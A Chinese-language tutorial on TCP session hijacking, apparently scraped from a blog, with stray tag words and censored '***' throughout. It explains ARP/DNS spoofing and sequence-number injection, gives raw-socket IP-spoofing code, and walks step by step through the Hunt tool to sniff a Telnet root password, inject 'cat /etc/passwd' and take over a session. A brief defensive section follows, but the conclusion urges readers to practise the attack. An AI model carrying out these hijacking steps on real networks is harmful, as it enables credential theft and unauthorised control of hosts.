前言
編程
一般,你們所說的hack,都是針對一臺主機,在得到管理員權限後,就非常得意;其實,真正的hacker是佔領整個內部網絡。針對內部網絡的hack方法比較多,但比較有效的方法非ARP欺騙、DNS欺騙莫屬了。可是,無論使用什麼技術,無非都是抓取目標的數據包,而後分析出敏感數據。若是目標內部採用的是共享式網絡(採用HUB集線器連網),那隻須要把網卡設置爲「混雜模式」,掛上嗅探器(Sniffer),就能簡聽到你想獲得的數據。若是是交換式網絡(採用交換機連網),這樣方法就行不通了,由於對於嗅探器,有三種網絡環境是沒法跨越的:「網橋」、「交換機」、「路由器」。惋惜,對於ARP欺騙,交換式網絡仍是無能爲力,若是咱們藉助ARP欺騙,在實現更高一層的「***手段」,從而真正的控制內部網絡。這也就是本文要敘述的會話劫持***……瀏覽器
1、會話劫持原理安全
一、什麼是會話劫持bash
在現實生活中,好比你去市場買菜,在交完錢後你要求先去幹一些別的事情,稍候再來拿菜;若是這個時候某個陌生人要求把菜拿走,賣菜的人會把菜給陌生人嗎?!固然,這只是一個比喻,但這偏偏就是會話劫持的喻意。所謂會話,就是兩臺主機之間的一次通信。例如你Telnet到某臺主機,這就是一次Telnet會話;你瀏覽某個網站,這就是一次HTTP會話。而會話劫持(Session Hijack),就是結合了嗅探以及欺騙技術在內的***手段。例如,在一次正常的會話過程中,***者做爲第三方參與到其中,他能夠在正常數據包中插入惡意數據,也能夠在雙方的會話當中進行簡聽,甚至能夠是代替某一方主機接管會話。咱們能夠把會話劫持***分爲兩種類型:1)中間人***(Man In The Middle,簡稱MITM),2)注射式***(Injection);而且還能夠把會話劫持***分爲兩種形式:1)被動劫持,2)主動劫持;被動劫持實際上就是在後臺監視雙方會話的數據流,叢中得到敏感數據;而主動劫持則是將會話當中的某一臺主機「踢」下線,而後由***者取代並接管會話,這種***方法危害很是大,***者能夠作不少事情,好比「cat etc/master.passwd」(FreeBSD下的Shadow文件)。服務器
MITM***簡介網絡
這也就是咱們常說的「中間人***」,在網上討論比較多的就是SMB會話劫持,這也是一個典型的中間人***。要想正確的實施中間人***,***者首先須要使用ARP欺騙或DNS欺騙,將會話雙方的通信流暗中改變,而這種改變對於會話雙方來講是徹底透明的。關於ARP欺騙***防線介紹的比較多,網上的資料也比較多,我就不在多說了,我只簡單談談DNS欺騙。DNS(Domain Name System),即域名服務器,咱們幾乎每天都要用到。對於正常的DNS請求,例如在瀏覽器輸入,而後系統先查看Hosts文件,若是有相對應的IP,就使用這個IP地址訪問網站(其實,利用Hosts文件就能夠實現DNS欺騙);若是沒有,纔去請求DNS服務器;DNS服務器在接收到請求以後,解析出其對應的IP地址,返回給我本地,最後你就能夠登錄到***防線的網站。而DNS欺騙則是,目標將其DNS請求發送到***者這裏,而後***者僞造DNS響應,將正確的IP地址替換爲其餘IP,以後你就登錄了這個***者指定的IP,而***者早就在這個IP中安排好了惡意網頁,可你卻在不知不覺中已經被***者下了「套」……DNS欺騙也能夠在廣域網中進行,比較常見的有「Web服務器重定向」、「郵件服務器重定向」等等。但無論是ARP欺騙,仍是DNS欺騙,中間人***都改變正常的通信流,它就至關於會話雙方之間的一個透明代理,能夠獲得一切想知道的信息,甚至是利用一些有缺陷的加密協議來實現。socket
注射式***簡介tcp
這種方式的會話劫持比中間人***實現起來簡單一些,它不會改變會話雙方的通信流,而是在雙方正常的通信流插入惡意數據。在注射式***中,須要實現兩種技術:1)IP欺騙,2)預測TCP序列號。若是是UDP協議,只需僞造IP地址,而後發送過去就能夠了,由於UDP沒有所謂的TCP三次握手,但基於UDP的應用協議有流控機制,因此也要作一些額外的工做。對於IP欺騙,有兩種狀況須要用到:1)隱藏本身的IP地址;2)利用兩臺機器之間的信任關係實施***。在Unix/Linux平臺上,能夠直接使用Socket構造IP包,在IP頭中填上虛假的IP地址,但須要root權限;在Windows平臺上,不能使用Winsock,須要使用Winpacp(也可使用Libnet)。例如在Linux系統,首先打開一個Raw Socket(原始套接字),而後本身編寫IP頭及其餘數據。能夠參考下面的實例代碼:ide
sockfd = socket(AF_INET, SOCK_RAW, 255);工具
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
struct ip *ip;
struct tcphdr *tcp;
struct pseudohdr pseudoheader;
ip->ip_src.s_addr = xxx;
pseudoheader.saddr.s_addr = ip->ip_src.s_addr;
tcp->check = tcpchksum((u_short *)&pseudoheader,12+sizeof(struct tcphdr));
sendto(sockfd, buf, len, 0, (const sockaddr *)addr, sizeof(struct sockaddr_in));
對於基於TCP協議的注射式會話劫持,***者應先採用嗅探技術對目標進行簡聽,而後從簡聽到的信息中構造出正確的序列號,若是不這樣,你就必須先猜想目標的ISN(初始序列號),這樣無形中對會話劫持加大了難度。那爲何要猜想會話雙方的序列號呢?請繼續往下看。
二、TCP會話劫持
本文主要敘述基於TCP協議的會話劫持。若是劫持一些不可靠的協議,那將垂手可得,由於它們沒有提供一些認證措施;而TCP協議被欲爲是可靠的傳輸協議,因此要重點討論它。
根據TCP/IP中的規定,使用TCP協議進行通信須要提供兩段序列號,TCP協議使用這兩段序列號確保鏈接同步以及安全通信,系統的TCP/IP協議棧依據時間或線性的產生這些值。在通信過程當中,雙方的序列號是相互依賴的,這也就是爲何稱TCP協議是可靠的傳輸協議(具體可參見RFC 793)。若是***者在這個時候進行會話劫持,結果確定是失敗,由於會話雙方「不認識」***者,***者不能提供合法的序列號;因此,會話劫持的關鍵是預測正確的序列號,***者能夠採起嗅探技術得到這些信息。
TCP協議的序列號
如今來討論一下有關TCP協議的序列號的相關問題。在每個數據包中,都有兩段序列號,它們分別爲:
SEQ:當前數據包中的第一個字節的序號
ACK:指望收到對方數據包中第一個字節的序號
假設雙方如今須要進行一次鏈接:
S_SEQ:將要發送的下一個字節的序號
S_ACK:將要接收的下一個字節的序號
S_WIND:接收窗口
//以上爲服務器(Server)
C_SEQ:將要發送的下一個字節的序號
C_ACK:將要接收的下一個字節的序號
C_WIND:接收窗口
//以上爲客戶端(Client)
它們之間必須符合下面的邏輯關係,不然該數據包會被丟棄,而且返回一個ACK包(包含指望的序列號)。
C_ACK <= C_SEQ <= C_ACK + C_WIND
S_ACK <= S_SEQ <= S_ACK + S_WIND
若是不符合上邊的邏輯關係,就會引伸出一個「致命弱點」,具體請接着往下看。
致命弱點
這個致命的弱點就是ACK風暴(Storm)。當會話雙方接收到一個不指望的數據包後,就會用本身指望的序列號返回ACK包;而在另外一端,這個數據包也不是所指望的,就會再次以本身指望的序列號返回ACK包……因而,就這樣來回往返,造成了惡性循環,最終致使ACK風暴。比較好的解決辦法是先進行ARP欺騙,使雙方的數據包「正常」的發送到***者這裏,而後設置包轉發,最後就能夠進行會話劫持了,並且沒必要擔憂會有ACK風暴出現。固然,並非全部系統都會出現ACK風暴。好比Linux系統的TCP/IP協議棧就與RFC中的描述略有不一樣。注意,ACK風暴僅存在於注射式會話劫持。
TCP會話劫持過程
假設如今主機A和主機B進行一次TCP會話,C爲***者,劫持過程以下:
A向B發送一個數據包
SEQ (hex): X ACK (hex): Y
FLAGS: -AP--- Window: ZZZZ,包大小爲:60
B迴應A一個數據包
SEQ (hex): Y ACK (hex): X+60
FLAGS: -AP--- Window: ZZZZ,包大小爲:50
A向B迴應一個數據包
SEQ (hex): X+60 ACK (hex): Y+50
FLAGS: -AP--- Window: ZZZZ,包大小爲:40
B向A迴應一個數據包
SEQ (hex): Y+50 ACK (hex): X+100
FLAGS: -AP--- Window: ZZZZ,包大小爲:30
***者C冒充主機A給主機B發送一個數據包
SEQ (hex): X+100 ACK (hex): Y+80
FLAGS: -AP--- Window: ZZZZ,包大小爲:20
B向A迴應一個數據包
SEQ (hex): Y+80 ACK (hex): X+120
FLAGS: -AP--- Window: ZZZZ,包大小爲:10
如今,主機B執行了***者C冒充主機A發送過來的命令,而且返回給主機A一個數據包;可是,主機A並不能識別主機B發送過來的數據包,因此主機A會以指望的序列號返回給主機B一個數據包,隨即造成ACK風暴。若是成功的解決了ACK風暴(例如前邊提到的ARP欺騙),就能夠成功進行會話劫持了。
關於理論知識就說到這裏,下面我以具體的實例演示一次會話劫持。
2、會話劫持實踐
一、嘮叨幾句
能夠進行會話劫持的工具不少,比較經常使用有Juggernaut,它能夠進行TCP會話劫持的網絡Sniffer程序;TTY Watcher,而它是針對單一主機上的鏈接進行會話劫持。還有如Dsniff這樣的工具包也能夠實現會話劫持,只是看你會不會使用了。但,能將會話劫持發揮得淋漓盡致的,還要算Hunt這個工具了。它的做者是Pavel Krauz,能夠工做在Linux和一些Unix平臺下。它的功能很是強大,首先,不管是在共享式網絡仍是交換式網絡,它均可以正常工做;其次,能夠進行中間人***和注射式***。還能夠進行嗅探、查看會話、監視會話、重置會話。經過前面的敘述,咱們知道在注射式***中,容易出現ACK風暴,解決辦法是先進行ARP欺騙;而使用Hunt進行注射式***時,它並不進行ARP欺騙,而是在會話劫持以後,向會話雙方發送帶RST標誌位的TCP包以中斷會話,避免ACK風暴繼續下去。而中間人***是先進行ARP欺騙,而後進行會話劫持。Hunt目前最新版本是1.5,能夠到Pavel Krauz網站下載源代碼包和二進制文件:~kra/#hunt。
如今來看看若是使用Hunt,首先是下載並編譯源代碼:
[root@dahubaobao hunt]#wget
[root@dahubaobao hunt]#tar zxvf hunt-1.5.tgz
[root@dahubaobao hunt]#cd hunt-1.5
[root@dahubaobao hunt-1.5]#make
[root@dahubaobao hunt-1.5]#./hunt
//Hunt是徹底交互試的操做
解釋一下各個選項的含義
l/w/r) list/watch/reset connections
//l(字母l)爲查看當前網絡上的會話;w爲監視當前網絡上的某個會話;r爲重置當前網絡上的某個會話。
a) arp/simple hijack (avoids ack storm if arp used)
//中間人***(會話劫持),Hunt先進行ARP欺騙,而後進行會話劫持。使用此方法能夠避免出現ACK風暴。
s) simple hijack
//簡單的會話劫持,也就是注射式***。會出現ACK風暴。
d) daemons rst/arp/sniff/mac
//該選項共實現四個功能,分別爲:終止會話,自動發送帶RST標誌位的TCP包;ARP欺騙後進行數據包轉發;不用說了,嗅探功能;在當前網絡上收集MAC地址。
其餘的選項很簡單,不在多說了。仍是來看看具體的例子吧,我想你們都等不及了!^_^
二、應用實例
測試環境:
***者:Red Hat Linux 9.0 IP:192.168.0.10
主機A:Windows Advanced Server IP:192.168.0.1
主機B:FreeBSD 4.9 STABLE IP:192.168.0.20
[root@dahubaobao hunt-1.5]#./hunt
/*
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> l //查看當前網絡上的會話
0)192.168.0.1 [3465] ?192.168.0.20 [23]
//主機A正在Telnet到主機B
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> w //監視當前網絡上的會話
0)192.168.0.1 [3465] ?192.168.0.20 [23]
Choose conn>0 //選擇打算監視的會話。因爲個人條件有限,不能模擬多個會話,請多見量。
Dump [s]rc/[d]st/[b]oth [b]> //回車
Print sec/dst same charactes y/n [n]> //回車
如今就能夠監視會話了。主機A輸入的一切內容,咱們均可以看到。主機A在Telnet並登錄以後,直接su root,password:後邊的就是root的密碼。如今這個系統已經徹底由你所控制了,自由發揮吧!
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> s //進行注射式會話劫持
0)192.168.0.1 [3465] ?192.168.0.20 [23]
choose conn> 0
dump connection y/n [n]>
Enter the command string you wish executed or [cr]> cat /etc/passwd
***者的意圖是獲取主機B的passwd文件的內容,但因爲注射式會話劫持缺陷,致使了ACK風暴,因此Hunt向會話雙方發送了一個帶RST標誌位的TCP包來阻止ACK風暴。
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> a //進行中間人會話劫持
0)192.168.0.1 [3862] ?192.168.0.20 [23]
choose conn> 0
arp spoof src in dst y/n [y]>
src MAC [XX:XX:XX:XX:XX:XX]>
arp spoof dst in src y/n [y]>
dst MAC [XX:XX:XX:XX:XX:XX]>
input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]>
dump connectin y/n [y]> n
press key to take voer of connection
ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host 192.168.0.1 FA
ILED
do you want to force arp spoof nutil successed y/n [y]>
CTRL-C to break
CTRL+C //手工輸入CTRL+C中斷,不需等待
-- operation canceled - press any key>
ARP spoof failed
ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED
you took over the connection
CTRL-] to break
-bash-2.05b$id
....................
如今,***者已經成功的劫持了主機A和B之間的Telnet會話。主機A輸入的一切命令***者均可以看到,而且***者也能夠自行插入命令。正如前邊所說的,這種會話劫持方式先進行ARP欺騙,而後才劫持,因此,ACK風暴是不會出現的;並且,這種方式要比注射式會話劫持危害更大,從上文中我想就能看出來,我就沒必要在多說什麼了。還有一些如Sniffer等功能,都很簡單,因爲已不在本文範疇,故不在多說。
3、會話劫持防範
防範會話劫持是一個比較大的工程。首先應該使用交換式網絡替代共享式網絡,雖然像Hunt這樣的工具能夠在交換環境中實現會話劫持,但仍是應該使用交換式網絡替代共享式網絡,由於這樣能夠防範最基本的嗅探***。然而,最根本的解決辦法是採用加密通信,使用SSH代替Telnet、使用SSL代替HTTP,或者乾脆使用IPSec/×××,這樣會話劫持就無用武之地了。其次,監視網絡流量,如發現網絡中出現大量的ACK包,則有可能已被進行了會話劫持***。
還有一點是比較重要的,就是防範ARP欺騙。實現中間人***的前提是ARP欺騙,如能阻止***者進行ARP欺騙,中間人***還怎樣進行?!如何防範ARP欺騙,***防線有過詳細的介紹,能夠參考2003年第9期雜誌。
總結
對於***內部網絡,會話劫持確實是一種比較有效的方法,咱們應該掌握。本文的實踐性很強,請你們務必動手試試,並但願能掌握此技術。Hunt這個強悍的工具使用方法很簡單,但卻能夠把會話劫持發揮淋漓盡致,真佩服做者的編程功底